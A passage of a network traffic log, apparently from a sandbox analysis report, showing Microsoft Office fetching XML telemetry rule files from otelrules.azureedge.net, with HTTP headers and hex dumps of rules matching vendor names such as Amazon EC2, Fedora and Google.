72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:08 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-16547b76f7fp6mhthC1DFWrggn00000007u00000000076v1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:08 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-16547b76f7f67wxlhC1DFWah9w00000007rg00000000262t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:08 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 26055832-201e-0096-545c-2eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-15869dbbcc6sg5zbhC1DFWzt6c000000012g00000000mby0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:08 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-16547b76f7fvllnfhC1DFWxkg800000007sg000000004hnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:08 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2398c3f1-501e-007b-7e8e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-15869dbbcc6b69h9hC1DFWaf7800000002e000000000mcz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:09 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:09 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f3c8b028-b01e-003d-2400-2fd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050109Z-17df447cdb5fzdpxhC1DFWdd3400000003sg00000000pb52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:09 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:09 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:09 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 1a545004-b01e-0084-4b01-2fd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050109Z-17df447cdb5g2j9ghC1DFWev0800000003pg00000000eekk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:09 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 80f61ed6-301e-000c-5407-2f323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050109Z-17df447cdb54ntx4hC1DFW2k4000000003w000000000bwr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:09 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: d07841a0-401e-0064-490f-2d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050109Z-16547b76f7fxsvjdhC1DFWprrs00000007mg0000000084c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:09 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 293aa67e-d01e-007a-3a8e-30f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050109Z-17df447cdb5t94hvhC1DFWw9780000000440000000004v0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:10 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050110Z-16547b76f7f9rdn9hC1DFWfk7s00000007s0000000000pqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:10 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 0386ab83-901e-007b-1455-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050110Z-15869dbbcc6khw88hC1DFWbb20000000015g00000000fb29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
